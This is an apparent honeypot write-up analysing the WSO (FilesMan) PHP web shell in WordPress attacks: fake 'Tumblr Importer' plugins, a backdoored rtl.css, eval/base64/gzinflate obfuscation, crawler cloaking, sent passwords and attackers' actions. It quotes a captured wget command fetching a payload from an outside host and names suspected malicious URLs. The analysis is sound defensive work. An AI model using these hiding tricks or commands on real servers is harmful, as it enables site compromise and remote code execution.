PHParasites: WordPress Malware

"WSO" apparently stands for "Web Shell by orb", a note that sometimes appears in WSO source code. The WSO Web Shell provides a system administration and hacking console to those who know its URL. It's also apparently known as the FilesMan backdoor, even though it's a good deal more than a mere backdoor.

WSO requires a password for further access. Passwords sent along to various WSO instances: '4500045', 'nhzgrf', 'aspx12', 'FDY17c', 'gatamorgana' The password gets run through md5() and compared to a string literal in the source code. These string literals often appear on the web: googling for any of them gets you the corresponding plain-text password.

Versions 2.4, 2.5, 2.5.1 and 3.1 all got downloaded by honey pot users, although it's not clear to me that "orb" or even a single entity maintains the versioning.

Usually, WSO gets downloaded as just another PHP file in a WordPress plugin. Although the name of the WSO PHP file in the plugin zip-file varies (mod_googleapi.php, config.php,mod_te.php, mod_system.php and many others get used), the plugin used always claims to be a "Tumblr Importer". The rest of the files from plugin zip files captured by my honey pot appear identical in all plugin downloads.

On occasion, an attacker tried to download the single, unzipped ".php" file of WSO source code as a plugin. This does not work on any verion of WordPress I have tried, but my honey pot appears to allow it. Possibly these attackers would have tried again, with a zip-file. Due to emulation more permissive than reality, they didn't need to. Since a single ".php" file doesn't work as a plugin in real WordPress, I have to wonder why the attackers even bother to try this.

One WSO shell got downloaded as the rtl.css file in the default theme. The downloader used the theme-editor.php WordPress file to download, which in the case of my honey pot, contained just enough PHP to show HTML for a successful theme edit, and capture the downloaded theme edit.

WSO shells change name constantly. The WSO PHP file in the Tumbler importer plugin is mostly named mod_something.php, where "something" is "gogle", "googleapi", "te", "twit" or other names. Occasionally WSO shells have names like "jm.php", "502.php", "info.php", "error.php", "copyright.php". The name changes can only protect against naive human detection.

WSO shells used varied source-code obfuscation. PHP has to be distributed in source code form, it's interpreted. This seems to cause a lot of variation in obfuscation.

Some uploads used eval(base64_decode("..."); Other uploads used eval(gzinflate(base64_decode("..."))); In both cases, WSO PHP source code has been encoded, and gets executed by the eval() construct.

The kinked rtl.css file did an eval(base64_decode("...") on suitably encoded WSO PHP, but only if isset($_GET['pwd']). That is, called by an HTTP GET method where the URL contained a 'pwd' named value.

A few uploads usedpreg_replace("/.*/e","..."); to execute WSO code. The preg_replace composed and executed a gzinflate(base64_decode('...'); construct, making it something of a 2-layer encoding. This method avoids the use of the eval() PHP construct, which should almost never appear in code.

WSO returns an HTTP 404 code ("file not found") and corresponding HTML from inside itself when the User Agent string has a substring that matches one of "Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler". This is an attempt to stay out of search engine's index. Which doesn't always work: a search for a common WSO file name turns up quite a few instances.

The kinked theme had to be called by an HTTP GET with a 'pwd' named value in the URL to execute the WSO shell. Called in any other fashion, it would just give back the default "kubrick" theme CSS.

It's hard to impute motive, but it's easy to look at what WSO "actions" get called. A typical WSO file defines about 12 "action" functions, ranging from a action that runs PHP on the web server to self-removal. My honey pot only caught attackers invoking 5 actions.

The "Console" action provides something akin to a remote shell. The user types a command, which gets sent to the web server. The web server executes the command and sends any results back. The single call to the "Console" action tried to run the command:

wget http://freemoviesbazaar.com/wp-content/uploads/1986/03/b 2>&1

The "FilesTools" action offers the interactive user a lot of functionality. At least some of the calls appear to be interactive, a human user trying to figure out what the WSO emulation had to offer by "downloading" a file from the server to the user's machine.

One of the "FilesTools" actions was to do a "mkfile" with the name "asas.php". This was followed by a "FilesTools" action to edit asas.php. The "edit" sub-action replaces an existing file's contents. Once replaced, asas.php would have acted as an HTTP proxy, fetching a "links file" from manka11.com or manka12342341.com. My WSO emulation wasn't good enough for the "mkfile" and "edit" sub-actions to take place, so I have no idea what sucn a links file looks like. This constitutes yet another way to download code onto a server.

The "Framer" invocations probably don't work. It seems that someone wanted to put a <script> tag into some files. The <script> source http://stummann.net/steffen/google-analytics/jquery-1.6.5.min.js, which looks to contain malicious JavaScript. None of the WSO code I examined in detail had an "Framer" action. A "Framer" action might reside in some custom-coded piece of a WSO source file I didn't look at.

WSO can run under both Windows and Linux, although it has more capability under Linux.

WSO accomodates different versions of PHP to some extent. It doesn't use _REQUEST, it uses explicit _GET and _POST, for example. It also tries a rainbow of alternative PHP builtins when trying to run external commands.

The code seems fairly coherent. As version number increases, the function naming becomes more standardized, which would seem to be the work of a single programmer.

Sections

Author

WSO Example Code

References